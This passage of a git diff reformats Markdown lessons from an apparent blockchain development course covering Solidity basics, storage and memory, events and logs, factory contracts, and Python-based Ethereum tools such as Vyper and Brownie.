is a higher-order language meaning that the code deployed with a smart contract is not Solidity, but rather EVM bytecode. Solidity is an abstraction on top of that fundamental language so we don't have to be writing code that looks like this: -``` - PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0xE PUSH1 0x0 - SSTORE CALLVALUE DUP1 ISZERO PUSH1 0x14 JUMPI - PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x35 - DUP1 PUSH1 0x22 PUSH1 0x0 CODECOPY PUSH1 0x0 - RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 - 0x0 DUP1 REVERT INVALID LOG1 PUSH6 0x627A7A723058 - KECCAK256 RETURNDATASIZE 0x25 0xb6 0xcf CALLDATALOAD - LOG1 DUP16 PUSH9 0x27AC943141CFD6D0FA MSTORE SHL - DUP6 LOG4 PUSH8 0x7FADA153CC03D771 BLOCKHASH 0xb3 - STOP 0x29 -``` - But, rather code that looks like this: +As we mentioned earlier, Solidity is a higher-order language meaning that the code deployed with a smart contract is not Solidity, but rather EVM bytecode. Solidity is an abstraction on top of that fundamental language so we don't have to be writing code that looks like this: + +```text + PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0xE PUSH1 0x0 + SSTORE CALLVALUE DUP1 ISZERO PUSH1 0x14 JUMPI + PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x35 + DUP1 PUSH1 0x22 PUSH1 0x0 CODECOPY PUSH1 0x0 + RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 + 0x0 DUP1 REVERT INVALID LOG1 PUSH6 0x627A7A723058 + KECCAK256 RETURNDATASIZE 0x25 0xb6 0xcf CALLDATALOAD + LOG1 DUP16 PUSH9 0x27AC943141CFD6D0FA MSTORE SHL + DUP6 LOG4 PUSH8 0x7FADA153CC03D771 BLOCKHASH 0xb3 + STOP 0x29 ``` - pragma solidity >=0.4.0 <0.9.0; - - contract MyContract { - uint i = 10 + 2 * 2; - } + +But, rather code that looks like this: + +```javascript + pragma solidity >=0.4.0 <0.9.0; + + contract MyContract { + uint i = 10 + 2 * 2; + } ``` - While both these blocks of code describe the same operation, the second version (Solidity) is much easier to read and write. - General Characteristics of Solidity ------------------------------------ +While both these blocks of code describe the same operation, the second version (Solidity) is much easier to read and write. + +## General Characteristics of Solidity + +Solidity uses the [ECMAScript](https://en.wikipedia.org/wiki/ECMAScript){target=\_blank} syntax like JavaScript, to make it approachable for web developers. However, do not be lulled into complacency! Solidity is much more demanding in its requirements. + +Some of Solidity's basic characteristics: - Solidity uses the [ECMAScript](https://en.wikipedia.org/wiki/ECMAScript){target=_blank} syntax like JavaScript, to make it approachable for web developers. However, do not be lulled into complacency! Solidity is much more demanding in its requirements. +- **Case Sensitive** +- **Statement termination via a semicolon `;`** +- **Files use the `.sol` extension** +- **Statically typed** Types need to be known at compile time. This makes Solidity more like [TypeScript](https://en.wikipedia.org/wiki/TypeScript){target=\_blank} than JavaScript in practice. +- **Various compilation options** Solidity compiling can be done on the command line by [Solc](https://docs.soliditylang.org/en/latest/installing-solidity.html){target=\_blank}, you can compile it in a web-browser using [Remix](http://remix.ethereum.org/){target=\_blank} or compile it as part of a smart contract development framework like [Truffle](https://www.trufflesuite.com/){target=\_blank} or [Hardhat](https://www.hardhat.org){target=\_blank}. +- **Compiles down to EVM bytecode** Which then runs within the Ethereum Virtual Machine when deployed to a network - Some of Solidity's basic characteristics: -* **Case Sensitive** -* **Statement termination via a semicolon `;`** -* **Files use the `.sol` extension** -* **Statically typed** Types need to be known at compile time. This makes Solidity more like [TypeScript](https://en.wikipedia.org/wiki/TypeScript){target=_blank} than JavaScript in practice. -* **Various compilation options** Solidity compiling can be done on the command line by [Solc](https://docs.soliditylang.org/en/latest/installing-solidity.html){target=_blank}, you can compile it in a web-browser using [Remix,](http://remix.ethereum.org/){target=_blank} or compile it as part of a smart contract development framework like [Truffle](https://www.trufflesuite.com/){target=_blank} or [Hardhat](https://www.hardhat.org){target=_blank}. -* **Compiles down to EVM bytecode** Which then runs within the Ethereum Virtual Machine when deployed to a network +Overall, the Solidity workflow can be illustrated as follows: ![graphic showing workflow of solidity to EVM](../../../img/S03/solidity-workflow.png) - Overall, the Solidity workflow can be illustrated as follows: ![graphic showing workflow of solidity to EVM](../../../img/S03/solidity-workflow.png) +In this section, we're going to go over the basic conventions of Solidity. We're also going to start building smart contracts and discussing their general structure and design patterns. - +We can't emphasize this enough: smart contract coding is both really exciting and really dangerous! We see smart contracts [rekt](https://rekt.news/){target=\_blank} every day! We want to both give you all the tools to both build with creativity _and_ confidence. Let's go! - In this section, we're going to go over the basic conventions of Solidity. We're also going to start building smart contracts and discussing their general structure and design patterns. +## Additional Material - We can't emphasize this enough: smart contract coding is both really exciting and really dangerous! We see smart contracts [rekt](https://rekt.news/){target=_blank} every day! We want to both give you all the tools to both build with creativity *and* confidence. Let's go! +- [Wikipedia: Solidity](https://en.wikipedia.org/wiki/Solidity){target=\_blank} +- [Docs: Official Solidity Documentation](https://docs.soliditylang.org/en/latest/){target=\_blank} - Additional Material -------------------- +If you'd like some other places to learn Solidity, you can also check out these great resources. To be clear, we'll definitely be teaching you Solidity along with how to develop dapps. We also want to provide any external help we can as well! - * [Wikipedia: Solidity](https://en.wikipedia.org/wiki/Solidity){target=_blank} -* [Docs: Official Solidity Documentation](https://docs.soliditylang.org/en/latest/){target=_blank} +- [Bootcamp: Learn Blockchain, Solidity and Full Stack JavaScript Development:](https://www.freecodecamp.org/news/learn-blockchain-solidity-full-stack-javascript-development/){target=\_blank} A 32 hour long comprehensive Blockchain Development Bootcamp by Patrick Collins +- [Course: CryptoZombies](https://cryptozombies.io/){target=\_blank} One of the most well-known introductions to Solidity +- [Course: Ethernaut (OpenZeppelin)](https://ethernaut.openzeppelin.com/){target=\_blank} An excellent in-browser "game" teaching Solidity from a security perspective. +- [Course: Intro to Solidity (Chainshot)](https://www.chainshot.com/learn/solidity){target=\_blank} Chainshot uses a very cool interactive platform to teach Solidity +- [Wiki: Solidity by Example](https://www.solidity-by-example.org){target=\_blank} A bunch of great examples of Solidity, including excellent design patterns, hacks and security tips. +- [Wiki: Use Web3](https://useweb3.xyz/){target=\_blank} Another good collection of learning resources +- [Article: Test Driven Introduction to Solidity](https://michalzalecki.com/ethereum-test-driven-introduction-to-solidity/){target=\_blank} From an older pragma version of Solidity, but might be interesting to check out! Repo accompanying the article [here.](https://github.com/MichalZalecki/tdd-solidity-intro){target=\_blank} +- [Thread: What Does Ethereum Development Look Like Today?](https://twitter.com/smpalladino/status/1421901085279756300){target=\_blank} Santiago Palladino, who wrote [Ethereum for Web Developers,](https://www.apress.com/gp/book/9781484252772){target=\_blank} updates parts of his book for the current Ethereum ecosystem. +- [Article: Learn X in Y Minutes (Solidity)](https://learnxinyminutes.com/docs/solidity/){target=\_blank} A bit long and rough, but a comprehensive overview of learning Solidity - If you'd like some other places to learn Solidity, you can also check out these great resources. To be clear, we'll definitely be teaching you Solidity along with how to develop dapps. We also want to provide any external help we can as well! - -* [Bootcamp:Learn Blockchain, Solidity and Full Stack JavaScript Development:](https://www.freecodecamp.org/news/learn-blockchain-solidity-full-stack-javascript-development/){target=_blank} A 32 hour long comprehensive Blockchain Development Bootcamp by Patrick Collins -* [Course: CryptoZombies](https://cryptozombies.io/){target=_blank} One of the most well-known introductions to Solidity -* [Course: Ethernaut (OpenZeppelin)](https://ethernaut.openzeppelin.com/){target=_blank} An excellent in-browser "game" teaching Solidity from a security perspective. -* [Course: Intro to Solidity (Chainshot)](https://www.chainshot.com/learn/solidity){target=_blank} Chainshot uses a very cool interactive platform to teach Solidity -* [Wiki: Solidity by Example](https://www.solidity-by-example.org){target=_blank} A bunch of great examples of Solidity, including excellent design patterns, hacks and security tips. -* [Wiki: Use Web3](https://useweb3.xyz/){target=_blank} Another good collection of learning resources -* [Article: Test Driven Introduction to Solidity](https://michalzalecki.com/ethereum-test-driven-introduction-to-solidity/){target=_blank} From an older pragma version of Solidity, but might be interesting to check out! Repo accompanying the article [here.](https://github.com/MichalZalecki/tdd-solidity-intro){target=_blank} -* [Thread: What Does Ethereum Development Look Like Today?](https://twitter.com/smpalladino/status/1421901085279756300){target=_blank} Santiago Palladino, who wrote [Ethereum for Web Developers,](https://www.apress.com/gp/book/9781484252772){target=_blank} updates parts of his book for the current Ethereum ecosystem. -* [Article: Learn X in Y Minutes (Solidity)](https://learnxinyminutes.com/docs/solidity/){target=_blank} A bit long and rough, but a comprehensive overview of learning Solidity +## Advanced Material -Advanced Material -------------------- -* [Twitter Thread: Resource You Need to Know to Become a Solidity Dev ](https://twitter.com/bensparks_/status/1513238520575537162) -* [Series: EVM Deep Dive](https://noxx.substack.com/p/evm-deep-dives-the-path-to-shadowy) +- [Twitter Thread: Resource You Need to Know to Become a Solidity Dev](https://twitter.com/bensparks_/status/1513238520575537162){target=\_blank} +- [Series: EVM Deep Dive](https://noxx.substack.com/p/evm-deep-dives-the-path-to-shadowy){target=\_blank} diff --git a/docs/S03-smart-contracts/M2-solidity/L4-storage-and-memory/index.md b/docs/S03-smart-contracts/M2-solidity/L4-storage-and-memory/index.md index 76d407dd..2d22aaa9 100644 --- a/docs/S03-smart-contracts/M2-solidity/L4-storage-and-memory/index.md +++ b/docs/S03-smart-contracts/M2-solidity/L4-storage-and-memory/index.md @@ -1,3 +1,5 @@ +# Storage and memory + **Notes on the usage of memory:**There are defaults for the storage location depending on which type of variable it concerns: - State variables are always in storage @@ -5,4 +7,4 @@ - Local variables of struct, array or mapping type reference storage by default - Local variables of value type (i.e. neither array, nor struct nor mapping) are stored in the stack -For more information on storage vs memory, please see [this article.](https://www.geeksforgeeks.org/storage-vs-memory-in-solidity/) +For more information on storage vs memory, please see [this article](https://www.geeksforgeeks.org/storage-vs-memory-in-solidity/){target=\_blank}. diff --git a/docs/S03-smart-contracts/M2-solidity/L5-contract-structure/index.md b/docs/S03-smart-contracts/M2-solidity/L5-contract-structure/index.md index f41b62bd..4532915c 100644 --- a/docs/S03-smart-contracts/M2-solidity/L5-contract-structure/index.md +++ b/docs/S03-smart-contracts/M2-solidity/L5-contract-structure/index.md @@ -1,5 +1,7 @@ +# Contract structure + **Note:** At the timestamp 2m00s, the video shows that a **contract constructor** can be defined by using the same name as the contract (in this case, "SimpleStorage"). **This is syntax has been deprecated as of Solidity version 0.5.0** and now the keyword constructor **must** be used. -Additional Resources +## Additional Resources -[Docs: Solidity Contract Structure](https://docs.soliditylang.org/en/develop/structure-of-a-contract.html) +- [Docs: Solidity Contract Structure](https://docs.soliditylang.org/en/develop/structure-of-a-contract.html){target=\_blank} diff --git a/docs/S03-smart-contracts/M2-solidity/L6-abi/index.md b/docs/S03-smart-contracts/M2-solidity/L6-abi/index.md index 206e11bd..f49423ad 100644 --- a/docs/S03-smart-contracts/M2-solidity/L6-abi/index.md +++ b/docs/S03-smart-contracts/M2-solidity/L6-abi/index.md @@ -1,4 +1,6 @@ -Additional Resources: +# ABI -1. [Solidity Docs - ABI](https://solidity.readthedocs.io/en/latest/abi-spec.html) -2. [What is the ABI and why is it needed to interact with contracts](https://ethereum.stackexchange.com/questions/234/what-is-an-abi-and-why-is-it-needed-to-interact-with-contracts) +## Additional Resources + +- [Solidity Docs - ABI](https://solidity.readthedocs.io/en/latest/abi-spec.html){target=\_blank} +- [What is the ABI and why is it needed to interact with contracts](https://ethereum.stackexchange.com/questions/234/what-is-an-abi-and-why-is-it-needed-to-interact-with-contracts){target=\_blank} diff --git a/docs/S03-smart-contracts/M2-solidity/L7-events-and-logs/index.md b/docs/S03-smart-contracts/M2-solidity/L7-events-and-logs/index.md index 340fb33e..076247e2 100644 --- a/docs/S03-smart-contracts/M2-solidity/L7-events-and-logs/index.md +++ b/docs/S03-smart-contracts/M2-solidity/L7-events-and-logs/index.md @@ -1,83 +1,72 @@ - Declaring Events ----------------- +# Events +## Declaring Events +```javascript +pragma solidity >= 0.5.0 <= 0.8.0; + +contract ExampleContract { + + event LogReturnValue(address indexed _from, int256 _value); + + function foo(int256 _value) public returns (int256) { + emit LogReturnValue(msg.sender, _value); + return _value; + } + +} ``` -pragma solidity >= 0.5.0 <= 0.8.0; - -contract ExampleContract { - - event LogReturnValue(address indexed _from, int256 _value); - - function foo(int256 _value) public returns (int256) { - emit LogReturnValue(msg.sender, _value); - return _value; - } - -} -``` - This is how you declare an event called `LogReturnValue`. Use the `event` keyword followed by the event name. - A recent update to the Solidity compiler requires the `emit` keyword before an event is logged. This helps further clarify when events are being logged in the contract code. +This is how you declare an event called `LogReturnValue`. Use the `event` keyword followed by the event name. - Declaring events require that you specify the parameter type as well as a name for the parameter. This parameter name is the name that will appear in the log, so make it descriptive and clear. +A recent update to the Solidity compiler requires the `emit` keyword before an event is logged. This helps further clarify when events are being logged in the contract code. - You can add the **indexed** keyword to event parameters. Up to three parameters can receive the indexed attribute. This increases the searchability of events. It is possible to filter for specific values of indexed arguments in the user interface. +Declaring events require that you specify the parameter type as well as a name for the parameter. This parameter name is the name that will appear in the log, so make it descriptive and clear. - [Here is a link to the solidity documentation on events.](https://solidity.readthedocs.io/en/latest/contracts.html#events){target=_blank} +You can add the **indexed** keyword to event parameters. Up to three parameters can receive the indexed attribute. This increases the searchability of events. It is possible to filter for specific values of indexed arguments in the user interface. - Use Cases ---------- +[Here is a link to the solidity documentation on events.](https://solidity.readthedocs.io/en/latest/contracts.html#events){target=\_blank} - The common uses for events can be broken down into three main use cases: +## Use Cases - 1. Events can provide smart contract return values for the User Interface +The common uses for events can be broken down into three main use cases: + +1. Events can provide smart contract return values for the User Interface 2. They can act as asynchronous triggers with data and 3. They can act as a cheaper form of storage. ### Get values when transaction is mined - When a transaction is sent via web3.js, a transaction hash is returned, even if the contract functions specifies a return value. Transactions don’t return the contract value because transactions are not immediately mined and included in the blockchain - it takes time (they are asynchronous). You can use an event in the contract function in conjunction with an event watcher in the UI to observe a variable value when the transaction is mined. +When a transaction is sent via web3.js, a transaction hash is returned, even if the contract functions specifies a return value. Transactions don’t return the contract value because transactions are not immediately mined and included in the blockchain - it takes time (they are asynchronous). You can use an event in the contract function in conjunction with an event watcher in the UI to observe a variable value when the transaction is mined. ### Trigger application logic - You can use an event watcher as a trigger for application logic beyond just reading return values. You could take another action, display a message or update the UI when an event is observed. - - - +You can use an event watcher as a trigger for application logic beyond just reading return values. You could take another action, display a message or update the UI when an event is observed. ### Events as Data Storage - Logs, which are essentially the same as events (the context dictates which term is more appropriate) can also be used as a cheaper form of storage. Logs cost 8 gas per byte whereas contract storage costs 20,000 per 32 bytes, or 625 gas per byte. Logs are cheaper, but also cannot be accessed from any contracts so their use case as storage objects is much more limited. Even still, logs can be useful for aggregating historical reference data. - - - +Logs, which are essentially the same as events (the context dictates which term is more appropriate) can also be used as a cheaper form of storage. Logs cost 8 gas per byte whereas contract storage costs 20,000 per 32 bytes, or 625 gas per byte. Logs are cheaper, but also cannot be accessed from any contracts so their use case as storage objects is much more limited. Even still, logs can be useful for aggregating historical reference data. - Events are inheritable members of contracts. You can call events of parent contracts from within child contracts. +Events are inheritable members of contracts. You can call events of parent contracts from within child contracts. - When called from within a contract, events cause arguments to be stored in the transaction log, a special data structure in the blockchain. The logs are associated with the address of the contract and will be incorporated into the blockchain, persisting as long as a block is accessible. +When called from within a contract, events cause arguments to be stored in the transaction log, a special data structure in the blockchain. The logs are associated with the address of the contract and will be incorporated into the blockchain, persisting as long as a block is accessible. - Log and event data are not accessible from within contracts, not even from the contract that created the log. Events are useful when interacting with an application. They can provide notifications and confirmations of transactions happening in the smart contract. They are also useful for debugging purposes during development. +Log and event data are not accessible from within contracts, not even from the contract that created the log. Events are useful when interacting with an application. They can provide notifications and confirmations of transactions happening in the smart contract. They are also useful for debugging purposes during development. - Logs are not part of the blockchain per se since they are not required for consensus (they are just historical data), but they are verified by the blockchain as the transaction receipt hashes are stored inside the blocks. +Logs are not part of the blockchain per se since they are not required for consensus (they are just historical data), but they are verified by the blockchain as the transaction receipt hashes are stored inside the blocks. - Remember that events are not emitted until the transaction has been successfully mined. +Remember that events are not emitted until the transaction has been successfully mined. - When to log events ------------------- +## When to log events - Logging an event for every state change of the contract is a good heuristic for when you should use events. This allows you to track any and all updates to the state of the contract by setting up event watchers in your javascript files. - - +Logging an event for every state change of the contract is a good heuristic for when you should use events. This allows you to track any and all updates to the state of the contract by setting up event watchers in your javascript files. --- - Additional Resources: - - * [Technical introduction to Events and Logs in Ethereum (Joseph Chow, Consensys)](https://media.consensys.net/technical-introduction-to-events-and-logs-in-ethereum-a074d65dd61e){target=_blank} -* [Events - Solidity Docs](https://solidity.readthedocs.io/en/latest/contracts.html#events){target=_blank} -* [Listening to events with web3.js](https://web3js.readthedocs.io/en/1.0/web3-eth-subscribe.html?highlight=events#subscribe-logs){target=_blank} or [via the contract object](https://web3js.readthedocs.io/en/v1.2.0/web3-eth-contract.html#contract-events){target=_blank} -* [Article: Deep Dive Into Ethereum Logs](https://codeburst.io/deep-dive-into-ethereum-logs-a8d2047c7371){target=_blank} -* [Article: Everything You Ever Wanted to Know About Events and Logs on Ethereum](https://medium.com/linum-labs/everything-you-ever-wanted-to-know-about-events-and-logs-on-ethereum-fec84ea7d0a5){target=_blank} +Additional Resources: - +- [Technical introduction to Events and Logs in Ethereum (Joseph Chow, Consensys)](https://media.consensys.net/technical-introduction-to-events-and-logs-in-ethereum-a074d65dd61e){target=\_blank} +- [Events - Solidity Docs](https://solidity.readthedocs.io/en/latest/contracts.html#events){target=\_blank} +- [Listening to events with web3.js](https://web3js.readthedocs.io/en/1.0/web3-eth-subscribe.html?highlight=events#subscribe-logs){target=\_blank} or [via the contract object](https://web3js.readthedocs.io/en/v1.2.0/web3-eth-contract.html#contract-events){target=\_blank} +- [Article: Deep Dive Into Ethereum Logs](https://codeburst.io/deep-dive-into-ethereum-logs-a8d2047c7371){target=\_blank} +- [Article: Everything You Ever Wanted to Know About Events and Logs on Ethereum](https://medium.com/linum-labs/everything-you-ever-wanted-to-know-about-events-and-logs-on-ethereum-fec84ea7d0a5){target=\_blank} diff --git a/docs/S03-smart-contracts/M2-solidity/L8-factory-contracts/index.md b/docs/S03-smart-contracts/M2-solidity/L8-factory-contracts/index.md index 4582eb2b..be30163a 100644 --- a/docs/S03-smart-contracts/M2-solidity/L8-factory-contracts/index.md +++ b/docs/S03-smart-contracts/M2-solidity/L8-factory-contracts/index.md @@ -1,55 +1,49 @@ - Factory Contracts -================= +# Factory Contracts - Solidity is a contract-oriented programming language, which adopts many of the design principles of object-oriented programming languages. +Solidity is a contract-oriented programming language, which adopts many of the design principles of object-oriented programming languages. - We can implement a factory design pattern that will ensure that every contract deployed using the factory adheres to a certain standard. +We can implement a factory design pattern that will ensure that every contract deployed using the factory adheres to a certain standard. - Token Factory Example ---------------------- +## Token Factory Example - Let's look at what a standard Ethereum token implementation might look like. +Let's look at what a standard Ethereum token implementation might look like. - Tokens are a great case for a factory pattern because we want all of the token implementations to be compatible and convertible with one another. +Tokens are a great case for a factory pattern because we want all of the token implementations to be compatible and convertible with one another. - Defining a standard interface that all tokens should implement can ease development and benefit the entire ecosystem. +Defining a standard interface that all tokens should implement can ease development and benefit the entire ecosystem. - ### Token Contract +### Token Contract - Here is the start of a basic Token contract. +Here is the start of a basic Token contract. - ![Screenshot-from-2019-04-24-14-39-23](https://files.cdn.thinkific.com/file_uploads/205430/images/c35/834/9da/1595718641286.jpg) +![Screenshot-from-2019-04-24-14-39-23](https://files.cdn.thinkific.com/file_uploads/205430/images/c35/834/9da/1595718641286.jpg) -  You can imagine that we might want to store more data in our Token contract. This contract does not have functions implemented yet. +You can imagine that we might want to store more data in our Token contract. This contract does not have functions implemented yet. - As we add functions and the contract increases in complexity, it will be more difficult to ensure that every Token contract is implementing the same interface and is bug-free. +As we add functions and the contract increases in complexity, it will be more difficult to ensure that every Token contract is implementing the same interface and is bug-free. - Token Factory -------------- +## Token Factory - Deploying all of these standard compliant tokens through a token factory will abstract away many of the implementation details. +Deploying all of these standard compliant tokens through a token factory will abstract away many of the implementation details. - We can use the [factory design pattern](https://en.wikipedia.org/wiki/Factory_method_pattern){target=_blank} in Solidity. +We can use the [factory design pattern](https://en.wikipedia.org/wiki/Factory_method_pattern){target=\_blank} in Solidity. - In the factory contract, we need to make the standardized token contract available by *importing* it. +In the factory contract, we need to make the standardized token contract available by _importing_ it. - When we want to create a new token, we can pass the required constructor arguments for the Token contract into the token factory create token function. +When we want to create a new token, we can pass the required constructor arguments for the Token contract into the token factory create token function. - In the create token function we specify that we are creating a new Token contract with the new keyword. +In the create token function we specify that we are creating a new Token contract with the new keyword. - The token contract creation will return the address of the new contract. We know that this contract is of type token and we specify the type of the newToken variable. +The token contract creation will return the address of the new contract. We know that this contract is of type token and we specify the type of the newToken variable. - We can store the creator of the new token, and transfer all of the newly minted tokens to the caller. +We can store the creator of the new token, and transfer all of the newly minted tokens to the caller. - The function returns the address of the new token contract. This new contract has all of the state variables and functions that we specified in the token contract. +The function returns the address of the new token contract. This new contract has all of the state variables and functions that we specified in the token contract. - This is a useful design pattern that has numerous potential use cases. +This is a useful design pattern that has numerous potential use cases. - The ConsenSys GitHub contains an [implementation of the EIP20 interface](https://github.com/ConsenSys/Tokens/blob/master/contracts/eip20/EIP20.sol){target=_blank}, as well as an [EIP20 token factory.](https://github.com/ConsenSys/Tokens/blob/master/contracts/eip20/EIP20Factory.sol){target=_blank} +The ConsenSys GitHub contains an [implementation of the EIP20 interface](https://github.com/ConsenSys/Tokens/blob/master/contracts/eip20/EIP20.sol){target=\_blank}, as well as an [EIP20 token factory.](https://github.com/ConsenSys/Tokens/blob/master/contracts/eip20/EIP20Factory.sol){target=\_blank} - Additional Resources: ---------------------- +## Additional Resources - * [Article: Manage several contracts with factories](https://ethereum.org/en/developers/tutorials/interact-with-other-contracts-from-solidity/){target=_blank} - - +- [Article: Manage several contracts with factories](https://ethereum.org/en/developers/tutorials/interact-with-other-contracts-from-solidity/){target=\_blank} diff --git a/docs/S03-smart-contracts/M2-solidity/L9-solidity-by-example/index.md b/docs/S03-smart-contracts/M2-solidity/L9-solidity-by-example/index.md index 0810ee8b..607e5040 100644 --- a/docs/S03-smart-contracts/M2-solidity/L9-solidity-by-example/index.md +++ b/docs/S03-smart-contracts/M2-solidity/L9-solidity-by-example/index.md @@ -1,6 +1,3 @@ - Currently on LMS -================ +# Currently on LMS - This content is a external content, the excellent resource [Solidity By Example](https://www.solidity-by-example.org){target=_blank} - - \ No newline at end of file +This content is a external content, the excellent resource [Solidity By Example](https://www.solidity-by-example.org){target=\_blank} diff --git a/docs/S03-smart-contracts/M3-python/L1-background-and-context/index.md b/docs/S03-smart-contracts/M3-python/L1-background-and-context/index.md index 85a0a86d..c66e35d5 100644 --- a/docs/S03-smart-contracts/M3-python/L1-background-and-context/index.md +++ b/docs/S03-smart-contracts/M3-python/L1-background-and-context/index.md @@ -4,36 +4,36 @@ After going through all this Solidity content, (which _looks_ like JavaScript bu Python is, after all, one of the most popular and accessible programming languages. When people want to start programming, they typically feel they have to decide between JavaScript or Python. So, what gives? Where's the Python in Ethereum? -While it's not as popular as Solidity and JavaScript, there are some exciting ways to build on Ethereum using Python. In this section, we're going to go over a few of those projects. In the following section, we'll go over [Vyper,](https://vyper.readthedocs.io/en/stable/){target=_blank} the programming language whose syntax is a subset of Python's. +While it's not as popular as Solidity and JavaScript, there are some exciting ways to build on Ethereum using Python. In this section, we're going to go over a few of those projects. In the following section, we'll go over [Vyper](https://vyper.readthedocs.io/en/stable/){target=\_blank}, the programming language whose syntax is a subset of Python's. ## Vyper -Vyper is an experimental, contract-oriented, pythonic programming language that targets the Ethereum Virtual Machine. Please note: [there have been some issues with the Vyper compiler.](https://diligence.consensys.net/blog/2019/10/vyper-preliminary-security-review/){target=_blank} Like Python, writing clear, understandable code is of primary importance in Vyper. +Vyper is an experimental, contract-oriented, pythonic programming language that targets the Ethereum Virtual Machine. Please note: [there have been some issues with the Vyper compiler.](https://diligence.consensys.net/blog/2019/10/vyper-preliminary-security-review/){target=\_blank} Like Python, writing clear, understandable code is of primary importance in Vyper. -Vyper is not trying to be a replacement for Solidity. It is meant to be a more security focused smart contract programming language and will likely not be able to do everything that Solidity can. Its development is uncertain and not nearly as strong as Solidity. You can read more about Vyper in this section [here.](https://vyper.readthedocs.io/en/latest/){target=_blank} +Vyper is not trying to be a replacement for Solidity. It is meant to be a more security focused smart contract programming language and will likely not be able to do everything that Solidity can. Its development is uncertain and not nearly as strong as Solidity. You can read more about Vyper in this section [here](https://vyper.readthedocs.io/en/latest/){target=\_blank}. -Note that you can use Vyper with a number of development frameworks, including [Truffle](https://www.trufflesuite.com/docs/truffle/reference/configuration#vyper){target=_blank} and Brownie. +Note that you can use Vyper with a number of development frameworks, including [Truffle](https://www.trufflesuite.com/docs/truffle/reference/configuration#vyper){target=\_blank} and Brownie. ## Brownie and Web3.py -[Brownie](https://github.com/eth-brownie/brownie){target=_blank} is a Python-based development and testing framework for smart contracts running on the EVM. It uses [Web3.py](https://web3py.readthedocs.io/en/stable/){target=_blank} as well as Solidity. It is most well-known for being the development framework the [Yearn.Finance](https://yearn.finance){target=_blank} team uses to build their powerful DeFi platform and [CRV.](https://www.coinbase.com/price/curve-dao-token#AboutSection){target=_blank} +[Brownie](https://github.com/eth-brownie/brownie){target=\_blank} is a Python-based development and testing framework for smart contracts running on the EVM. It uses [Web3.py](https://web3py.readthedocs.io/en/stable/){target=\_blank} as well as Solidity. It is most well-known for being the development framework the [Yearn.Finance](https://yearn.finance){target=\_blank} team uses to build their powerful DeFi platform and [CRV](https://www.coinbase.com/price/curve-dao-token#AboutSection){target=\_blank}. -Brownie definitely takes some notes from Truffle [(they are both "sweet")](https://www.youtube.com/watch?v=R8lcy0JnEt8){target=_blank}, including having a `brownie init` command and their equivalent of Truffle boxes, ["Brownie Mixes."](https://github.com/brownie-mix){target=_blank} This makes it an easy tool for a lot of Truffle developers familiar with Truffle. +Brownie definitely takes some notes from Truffle [(they are both "sweet")](https://www.youtube.com/watch?v=R8lcy0JnEt8){target=\_blank}, including having a `brownie init` command and their equivalent of Truffle boxes, ["Brownie Mixes."](https://github.com/brownie-mix){target=\_blank} This makes it an easy tool for a lot of Truffle developers familiar with Truffle. Here are some tutorials to introduce you to Brownie: -* [Tutorial: Develop a DeFi Project using Python (Chainlink){target=_blank}](https://blog.chain.link/develop-python-defi-project/){target=_blank} -* [Tutorial: Vyper and Brownie Contract Development on EVM Chains](https://medium.com/ethereum-classic/vyper-and-brownie-contract-development-on-evm-chains-85ba7fa2feef){target=_blank} An interesting tutorial walking through developing a contract using Vyper and Brownie. +- [Tutorial: Develop a DeFi Project using Python (Chainlink)](https://blog.chain.link/develop-python-defi-project/){target=\_blank} +- [Tutorial: Vyper and Brownie Contract Development on EVM Chains](https://medium.com/ethereum-classic/vyper-and-brownie-contract-development-on-evm-chains-85ba7fa2feef){target=\_blank} An interesting tutorial walking through developing a contract using Vyper and Brownie. ## Yellow Paper rewrite -[Piper Merriam](https://twitter.com/pipermerriam){target=_blank} is a Python-based Ethereum developer who works for the Ethereum Foundation. They have proposed an [interesting project](https://ethereum-magicians.org/t/replace-the-yellow-paper-with-executable-markdown-specification/6430){target=_blank}: Replacing [Ethereum's yellow paper](https://ethereum.github.io/yellowpaper/paper.pdf){target=_blank} (which we studied earlier) with executable markdown. This was inspired by Ethereum 2.0's [Beacon chain specifications.](https://github.com/ethereum/eth2.0-specs){target=_blank} Rather than writing a document of specifications, the Ethereum 2.0 developer teams built a series of tests based on the spec conditions of a theoretical Beacon chain. Then, Ethereum 2.0 software clients only had to make sure they passed those tests. +[Piper Merriam](https://twitter.com/pipermerriam){target=\_blank} is a Python-based Ethereum developer who works for the Ethereum Foundation. They have proposed an [interesting project](https://ethereum-magicians.org/t/replace-the-yellow-paper-with-executable-markdown-specification/6430){target=\_blank}: Replacing [Ethereum's yellow paper](https://ethereum.github.io/yellowpaper/paper.pdf){target=\_blank} (which we studied earlier) with executable markdown. This was inspired by Ethereum 2.0's [Beacon chain specifications](https://github.com/ethereum/consensus-specs){target=\_blank}. Rather than writing a document of specifications, the Ethereum 2.0 developer teams built a series of tests based on the spec conditions of a theoretical Beacon chain. Then, Ethereum 2.0 software clients only had to make sure they passed those tests. -Merriam is proposing a similar exercise, but for Ethereum Mainnet (the PoW chain), based in Python. The goal would be to replace the yellow paper, which can be very challenging to read. It would rely heavily on [py-EVM](https://py-evm.readthedocs.io/en/latest/){target=_blank} (a Python implementation of the EVM). The whole project is very new and you can check [it's GitHub repository](https://github.com/ethereum/eth1.0-specs){target=_blank} for updates. Maybe you can even get involved! +Merriam is proposing a similar exercise, but for Ethereum Mainnet (the PoW chain), based in Python. The goal would be to replace the yellow paper, which can be very challenging to read. It would rely heavily on [py-EVM](https://py-evm.readthedocs.io/en/latest/){target=\_blank} (a Python implementation of the EVM). The whole project is very new and you can check [it's GitHub repository](https://github.com/ethereum/eth1.0-specs){target=\_blank} for updates. Maybe you can even get involved! ## Fe -Fe is "an emerging smart contract language for the Ethereum blockchain." It's influenced both by Python _and_ Rust and was released in January 2021. You can read more about it [here.](https://snakecharmers.ethereum.org/fe-a-new-language-for-the-ethereum-ecosystem/){target=_blank} To be honest, it looks more like Rust than Python, but that's just our opinion. +[Fe](https://github.com/ethereum/fe){target=\_blank} is "an emerging smart contract language for the Ethereum blockchain." It's influenced both by Python _and_ Rust and was released in January 2021. You can read more about it [here](https://snakecharmers.ethereum.org/fe-a-new-language-for-the-ethereum-ecosystem/){target=\_blank}. To be honest, it looks more like Rust than Python, but that's just our opinion. ## Conclusion diff --git a/docs/S03-smart-contracts/M3-python/L2-vyper-overview/index.md 